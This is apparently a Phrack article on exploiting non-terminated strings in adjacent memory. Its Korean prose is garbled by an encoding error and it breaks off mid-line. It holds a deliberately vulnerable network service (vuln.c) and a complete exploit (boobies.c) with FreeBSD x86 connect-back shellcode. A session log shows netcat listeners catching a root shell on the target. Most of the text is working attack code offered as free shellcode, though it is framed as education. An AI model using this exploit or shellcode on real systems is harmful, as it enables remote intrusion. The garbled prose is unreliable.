¹ö±×µéÀÌ ±×·¸µí, ¿©±â¿¡¼­ À߸øµÈ Á¡Àº ¶óÀ̺귯¸® ÇÔ¼ö³ª, C ÇÁ·Î±×·¡¹Ö¾ð¾î³ª, µ¥ÀÌŸºÎºÐÀÌ ½ÇÇàµÇÁö ¾Ê°Ô ÇÏÁö ¸øÇÏ´Â ¿î¿µÃ¼°è°¡ ¾Æ´Ï¶ó, ÇÁ·Î±×·¡¸ÓµéÀÌ ÀÚ½ÅÀÌ ÇÏ´Â ÀÛ¾÷ÀÇ ºÎ»ê¹°µé±îÁö ÀνÄÇÏÁö ¸øÇÑ´Ù´Â °ÍÀÌ´Ù. ÀáÀçÀûÀ¸·Î À§ÇèÀÌ ÀÖ´Â ¹°°Ç (ÀÓÀÇÀÇ µ¥ÀÌŸ)À» Ãë±ÞÇϱâ Àü¿¡´Â, Ưº°ÇÑ ÁÖÀǰ¡ ¹Ýµå½Ã ÇÊ¿äÇÏ´Ù. man ÆäÀÌÁöµéÀº Àоî¾ß ÇÑ´Ù. ¹öÆÛ´Â Á¾·áµÇ¾î¾ß ÇÑ´Ù. ¹ÝȯµÇ´Â °ªÀº È®ÀÎÇØ¾ß ÇÑ´Ù. ÇÊ¿äÇÑ °ÍÀº '+1'°ú ÃʱâÈ­ÀÌ´Ù. À̰ÍÀÌ ¾ó¸¶³ª ¾î·Á¿î°¡: char buf[MAXSIZE + 1]; FILE *fd; size_t len; ... memset(buf, 0, MAXSIZE + 1); len = fread((void *)buf, 1, MAXSIZE, fd); /* * This won't actually happen, but it is supplied to * prove a point */ if(len > MAXSIZE){ syslog(LOG_WARNING, "Overflow occured in pid %d, invoked by %d\n", getpid(), getuid()); exit(1); } ... ±×·¡, À§ ³»¿ëÀº Á¶±Ý ¹Ùº¸½º·´Áö¸¸, º¸À̰íÀÚ ÇÏ´Â Àǵµ´Â ¸íÈ®Çϱ⠹ٶõ´Ù. ¿ì¿¬È÷µµ, ´ÙÀ½ÀÇ ÇÔ¼ö´Â °ÔÀ¸¸¥ ÇÁ·Î±×·¡¸ÓµéÀ» À§ÇØ Á¾·áÇÏ´Â ÀÛ¾÷À» ÇØÁÖÁö´Â ¾Ê´Â´Ù: fread() the read() family [ read(), readv(), pread() ] memcpy() memccpy() memmove() bcopy() for(i = 0; i < MAXSIZE; i++) buf[i] = buf2[i]; gethostname() strncat() ¾Æ·¡ÀÇ ÇÔ¼ö´Â Ä£ÀýÈ÷ 0À¸·Î Á¾·áÇØÁØ´Ù: snprintf() fgets() ÀÚ ÀÌÁ¦, °¡¼­ ¹«¾ð°¡ ºÎ¼öµç°¡, ¾Æ´Ï¸é ÁÁ°Ô, ¹«¾ð°¡ °íÃĶó. ----| Example ¾Æ·¡´Â Ãë¾àÇÑ ÇÁ·Î±×·¥ÀÇ »ç·Ê¿¡ ´ëÇÑ È°¿ë»ç·ÊÀÌ´Ù. ÀÌ Ãë¾àÇÑ ÇÁ·Î±×·¥Àº ºÒ½Ö ÇÒ Á¤µµ·Î ÀǵµÀûÀ¸·Î ¸¸µé¾î Áø °ÍÀÌ°í ´ÙÀ½ÀÇ ¸ñÀûÀ̿ܿ¡´Â ´Ù¸¥ ¿ëµµ°¡ ¾ø´Ù: a) ÀÌ·± À¯ÇüÀÇ ¹öÆÛ ¿À¹ö·±À» ¾Ç¿ëÇϱâ À§ÇØ °í·ÁÇÒ Á¡À» ¼³¸íÇÏ´Â »ç·Ê¸¦ Á¦°ø ÇÑ´Ù. b) »õ·Î¿î ½©Äڵ带 ½á¸ÔÀ» ±âȸ¸¦ Á¦°øÇÑ´Ù. ½ÇÁ¦ ¼ÒÇÁÆ®¿þ¾î¿¡ ´ëÇÑ °ø°ÝÄڵ带 Á¦°øÇÏÁö ¾Ê±â·Î ÇÑ °áÁ¤Àº ¾Æ·¡¿Í °°Àº ÀÌÀ¯ ¿¡¼­ÀÌ´Ù: a) ù³¯ºÎÅÍ ±×·± °ÍÀ» Prack¿¡ °ø°³ÇÏ´Â °ÍÀº °Ç¹æÁø ÀÏÀÌ´Ù. (The fact that publishing 0-day in Phrack is rude.) b) ±× ¹ö±×¸¦ º¸°íÇÏÁö ¾Ê´Â ´Ù¸é ³»°¡ Á¤¸» ÀÌ»óÇÑ ³ðÀÏ °ÍÀÌ´Ù. c) ³»°¡ ¹ß°ßÇÑ ¹ö±×µéÀº ½ÇÁ¦·Î ÀÌ ±â»ç°¡ ³ª¿Ã ¶§ ÂëÀ̸é ÀÌ¹Ì ÆÐÄ¡µÇ¾úÀ» °ÍÀÌ´Ù. d) Á¦½ÃµÈ ¿¹Á¦°¡ ½ÇÁ¦ ÇÁ·Î±×·¥µéº¸´Ù µû¶óÀâ±â ½±´Ù. e) ÀÌ ±â»çÀÇ Àǵµ´Â Á¤º¸ÀÇ Á¦°øÀÌÁö, ´ç½ÅÀÌ www.¹«ÀǹÌÇØ.comÀ» °ø°ÝÇÏ´Â °ÍÀ» µ½´Â °ÍÀÌ ¾Æ´Ï´Ù. ±×·¸Áö¸¸ À̺Á, ´ç½ÅÀº ¹«·á·Î ½©Äڵ带 ¾òÀ» ¼ö ÀÖÀ¸´Ï, ÀÌ ±â»ç¸¦ Àд °ÍÀÌ ¿ÏÀüÈ÷ ½Ã°£ ³¶ºñ´Â ¾Æ´ÏÀݾÆ. ÇØÅ·ÄÚµå´Â´ç½ÅÀÌ ÇÊ¿ä·Î ÇÏ´Â ¾î´À ½Ã½ºÅÛÀ̳ª Æ÷Æ®¿¡ ½©À» ¿­¾î ÁÙ °ÍÀÌ´Ù. À¯¿ëÇÒ °ÍÀÌ´Ù. »ç¿ë¹ýÀº boobies.cÀÇ ÄÚ¸àÆ®¹®µéÀ» ÀоîºÁ¶ó. ½©ÄÚµå´Â i386ÀÇ FreeBSD¸¸¿¡ Àû¿ëµÇ´Â °ÍÀ̶ó¼­, ±× ½©Äڵ带 °¡Áö°í Àå³­À» Ä¡·Á¸é ÇØ´ç Ãë¾àÇÑ ÇÁ·Î±×·¥ÀÌ x86±â¹ÝÀÇ FreeBSD¿¡¼­ µ¹°í ÀÖ¾î¾ß¸¸ ÇÒ °ÍÀÌ´Ù. ÇØÅ·ÄÚµå´Â ¾î´À ½Ã½ºÅÛÀ§¿¡¼­³ª - ºñ·Ï ´ç½ÅÀÌ ¿øÇϴ ƯÁ¤ ¾ÆÅ°ÅØÃ߾ ¸Â°Ô Á¶±Ý Á¶Á¤À» °¡ÇØ¾ß °ÚÁö¸¸ - ÄÄÆÄÀÏÇÏ°í ½ÇÇàÇÒ ¼ö ÀÖ´Ù. ¿ì¿¬È÷µµ, x86 Linux¿Í SPARC ¼Ö¶ó¸®½º ¹öÁ¯µé¿¡ ´ëÇÑ ½©Äڵ尡 www.vicar.org/~twitch/projects/llehs¿¡ Á¦°øµÇ¾î ÀÖ´Ù. ----| The code <++> p56/Boobies/vuln.c !66dd8731 /* * vuln.c * * 01/09/1999 * * * Example to display how non-terminated strings in adjacent memory * spaces may be exploited. * * Give it a port to listen on if you wish as argv[argc - 1] * (the default is 6543). * * The code is sloppy because I really didn't care. * Pretend it's a game on a Happy Meal(tm) box- how many other exploitable * conditions can you find? * * to compile- * [twitch@lupus]$ gcc -Wall -o vuln vuln.c */ #include #include #include #include #include #include #include #include #include #ifndef MAXHOSTNAMELEN #define MAXHOSTNAMELEN 256 #endif /* MAXHOSTNAME */ #define PORT 6543 int be_vulnerable(int); void oopsy(char *); int do_stuff(char *, int, u_short); int main(int argc, char **argv) { char myname[MAXHOSTNAMELEN + 1]; struct hostent *h; int r; u_short port; port = PORT; if(argc > 1) port = strtoul(argv[argc - 1], NULL, 10); memset(myname, 0, MAXHOSTNAMELEN + 1); r = gethostname(myname, MAXHOSTNAMELEN); if(r){ perror("gethostname"); return(1); } if(!(strlen(myname))){ fprintf(stderr, "I have no idea what my name is, bailing\n"); return(1); } h = gethostbyname(myname); if(!h){ fprintf(stderr, "I couldn't resolve my own name, bailing\n"); return(1); } return(do_stuff(h->h_addr, h->h_length, port)); } /* * do_stuff() * Listen on a socket and when we get a connection, had it * off to be_vulnerable(). */ int do_stuff(char *myaddr, int addrlen, u_short port) { struct sockaddr_in sin, fin; int s, r, alen; char *p; memcpy(&sin.sin_addr.s_addr, myaddr, addrlen); p = inet_ntoa(sin.sin_addr); if(sin.sin_addr.s_addr == -1L){ fprintf(stderr, "inet_addr returned the broadcast, bailing\n"); return(1); } memset(&sin, 0, sizeof(struct sockaddr)); sin.sin_family = AF_INET; sin.sin_port = htons(port); s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); if(s < 0){ perror("socket"); return(1); } alen = sizeof(struct sockaddr); r = bind(s, (struct sockaddr *)&sin, alen); if(r < 0){ perror("bind"); return(1); } r = listen(s, 1); if(r < 0){ perror("listen"); return(1); } printf("Accepting connections on port %d...\n", port); memset(&fin, 0, alen); r = accept(s, (struct sockaddr *)&fin, &alen); if(r < 0){ perror("accept"); return(1); } return(be_vulnerable(r)); } /* * be_vulnerable() * We grab a chunk o' data from the wire and deal with it * in an irresponsible manner. */ int be_vulnerable(int s) { int r; char buf[1024], buf2[256]; memset(buf, 0, 1024); memset(buf2, 0, 256); r = read(s, (void *)buf, 1024); r = read(s, (void *)buf2, 256); oopsy(buf2); close(s); return(0); } /* * oopsy() * Copy data into local storage to do something with it. * I'm lazy so all this does is cause the overflow. */ void oopsy(char *p) { char mybuf[256]; fprintf(stderr, "Oh shit, p is %d bytes long.\n", strlen(p)); strncpy(mybuf, p, strlen(p)); } <--> <++> p56/Boobies/boobies.c !f264004c /* * boobies.c * * 01/09/1999 * * * Dedicated to Kool Keith, Bushmill's smooth and mellow (distilled * three times) Irish Whiskey, and that one SCO guy's beautiful lady. * * * Example exploit for vuln.c to display how non-terminated strings * in adjacent memory can cause real troubles. * * This shellcode will establish a TCP connection to any port and * address you deem fit (see the shellcode for where/how to do this) * and drop a shell. You won't get a prompt, but otherwise, it is a * full shell with the privleges of whatever the exploited program had. * * This is the x86 FreeBSD version- Linux and SPARC Solaris versions, * as well as full assembly listings are available at * www.vicar.org/~twitch/projects/llehs * * To use this exploit, run the silly little vulnerability demo * program on some system (in this example it's running on a system * called lupus) thusly: * * [twitch@lupus]$ ./vuln * Accepting connections on port 6543... * * Then do this on the attacking system (or wherever you are directing * the shell): * * [twitch@pornstar]$ nc -n -v -l -p 1234 * listening on [any] 1234 ... * * [ from another terminal/window ] * * [twitch@pornstar]$ ./boobies -a 192.168.1.1 -p 1234 |nc -v lupus 6543 * lupus [192.168.1.6] 6543 (?) open * * [ back to the first terminal/window ] * * connect to [192.168.1.1] from (lupus) [192.168.1.6] 1234 * uname -n * lupus.vicar.org * ls -alF /root/ * total 14 * drwxr-x--- 3 root wheel 512 Dec 8 20:44 ./ * drwxr-xr-x 19 root wheel 512 Dec 10 19:13 ../ * -rw------- 1 root wheel 4830 Jan 4 16:15 .bash_history * -rw------- 2 root wheel 383 May 17 1999 .cshrc * -rw------- 1 root wheel 1354 Jan 5 10:33 .history * -rw------- 1 root wheel 124 May 17 1999 .klogin * -rw------- 1 root wheel 491 Dec 4 19:59 .login * -rw------- 2 root wheel 235 May 17 1999 .profile * drwxr-x--- 2 root wheel 512 Dec 8 20:44 .ssh/ * ^C * [twitch@pornstar]$ * * You will need to supply an offset of around -50 if * vuln is running on a port besides the default. * * The exploit has a few options that you can read about by doing: * [twitch@pornstar]$ ./boobies -h * usage: ./boobies [-o offset_nudge] [-p port] [-a address] [-A alignment] * -o Nudge the offset offset_nudge bytes. * -p Port to which the target should connect. * -a Address to which the target should connect. * (Must be an IP address because I'm lazy.) * -A Nudge the alignment. * -v Be verbose about what we're doing. * -h The secret to life. * * If you compile this on non-x86 architectures, you will prolly have to * play with the alignment a bit. * * to compile- * [twitch@pornstar]$ gcc -o boobies -Wall boobies.c * Be alert, look alive, and act like you know. */ #include #include #include #include #include #include #include #include char llehs[] = "\x55\x89\xe5\xeb\x7e\x5e\x31\xc0\x88\x46\x07\x83\xec\x18" /* 14 */ "\xc6\x45\xe9\x02\x31\xc0\x66\xb8" /* 22 */ /* * Replace with (htons(port) ^ 0xff). * Defaults to 1234. */ "\xfb\x2d" "\x66\x35\xff\xff\x66\x89\x45\xea\xb8" /* 33 */ /* * Replace with (inet_addr(host_to_conenct_to) ^ 0xffffffff). * Defaults to 192.168.1.6. */ "\x3f\x57\xfe\xf9" "\x83\xf0\xff\x89\x45\xec\x6a\x06\x6a\x01\x6a\x02\x6a\x0f\x31\xc0\xb0" "\x61\xcd\x80" "\x6a\x10\x89\xc3\x8d\x45\xe8\x50\x53\x6a\x0f\x31\xc0\xb0\x62\xcd\x80" "\x31\xc0\x50\x53\x6a\x0f\xb0\x5a\xcd\x80" "\x53\x6a\x0f\x31\xc0\xb0\x06\xcd\x80" "\x6a\x01\x31\xc0\x50\x6a\x0f\xb0\x5a\xcd\x80" "\x6a\x02\x31\xc0\x50\x6a\x0f\xb0\x5a\xcd\x80" "\x31\xc0\x50\x50\x56\x6a\x0f\xb0\x3b\xcd\x80" "\x31\xc0\x40\xcd\x80" "\xe8\x7d\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; /* * This offset seems to work if you are running the exploit and the * vulnerable proggy on the same machine, with vuln listening on its * default port. If vuln is listening on a user-supplied port, this * needs to be around 0xbfbfd0fc. YMMV. */ #define OFFSET 0xbfbfd108 #define NOP 0x90 #define BUFSIZE 1300 #define SHELLSIZE 143 #define PAD 32 #define ALIGNIT 0 /* * Offset into the shellcode for the port */ #define SCPORTOFF 22 /* * Offset into the shellcode for the address */ #define SCADDROFF 33 void usage(char *proggy) { fprintf(stderr, "usage: %s [-o offset_nudge] [-p port] [-a address] ", proggy); fprintf(stderr, "[-A alignment]\n"); fprintf(stderr, "\t-o\t\tNudge the offset offset_nudge bytes.\n"); fprintf(stderr, "\t-p\t\tPort to which the target should connect.\n"); fprintf(stderr, "\t-a\t\tAddress to which the target should connect.\n"); fprintf(stderr, "\t\t\t(Must be an IP address because I'm lazy.)\n"); fprintf(stderr, "\t-A\t\tNudge the alignment.\n"); fprintf(stderr, "\t-v\t\tBe verbose about what we're doing.\n"); fprintf(stderr, "\t-h\t\tThe secret to life.\n"); fprintf(stderr, "\n"); exit(1); } void main(int argc, char **argv) { char b00m[BUFSIZE], *p, c; char *port, *addr; u_short portd; u_long addrd; extern char *optarg; int i, nudge = 0, o = OFFSET, align = 0; int verb = 0; port = &(llehs[SCPORTOFF]); addr = &(llehs[SCADDROFF]); while((c = getopt(argc, argv, "o:p:a:A:vh")) != -1){ switch(c){ /* * Nudge to the offset */ case 'o': nudge = strtoul(optarg, NULL, 10); break; /* * Port to which we connect */ case 'p': portd = strtoul(optarg, NULL, 10); if(verb) fprintf(stderr, "Shell coming back on port %d\n", portd); portd = htons(portd); portd ^= 0xffff; if(verb) fprintf(stderr, " (0x%x)\n", portd); memcpy((void *)port, (void *)&portd, sizeof(u_short)); break; /* * Address to which we connect */ case 'a': addrd = inet_addr(optarg); if(addrd == -1L){ fprintf(stderr, "Bad address '%s'.\n", optarg); exit(1); } addrd ^= 0xffffffff; memcpy((void *)addr, (void *)&addrd, sizeof(u_long)); if(verb){ fprintf(stderr, "Shell is being sent to %s.\n", optarg); fprintf(stderr, " (0x%lx)\n", addrd); } break; /* * Alignment (should only be necessary on architectures * other than x86) */ case 'A': align = strtoul(optarg, NULL, 10); break; case 'v': verb++; break; case 'h': default: usage(argv[0]); break; } } o += nudge; align += ALIGNIT; if(verb){ fprintf(stderr, "Offset is 0x%x\n", o); fprintf(stderr, "Alignment nudged %d bytes\n", align); } p = b00m; memset(p, 0x90, sizeof(b00m)); p = b00m + ALIGNIT; for(i = 0; i < PAD; (i += 4)){ *((int *)p) = o; p +=4; } p = (&b00m[0]) + PAD + PAD + ALIGNIT; memcpy((void *)p, (void*)llehs, SHELLSIZE); b00m[BUFSIZE] = 0; fprintf(stderr, "payload is %d bytes wide\n", strlen(b00m)); printf(&quo Navigate Home | Archive | Forum | Search | Submissions Email Submit Article | Loopback Commentaries | Editor In Chief | Phrack World News Links l0pht | securityfocus | HNN | S.G.R. MacMillan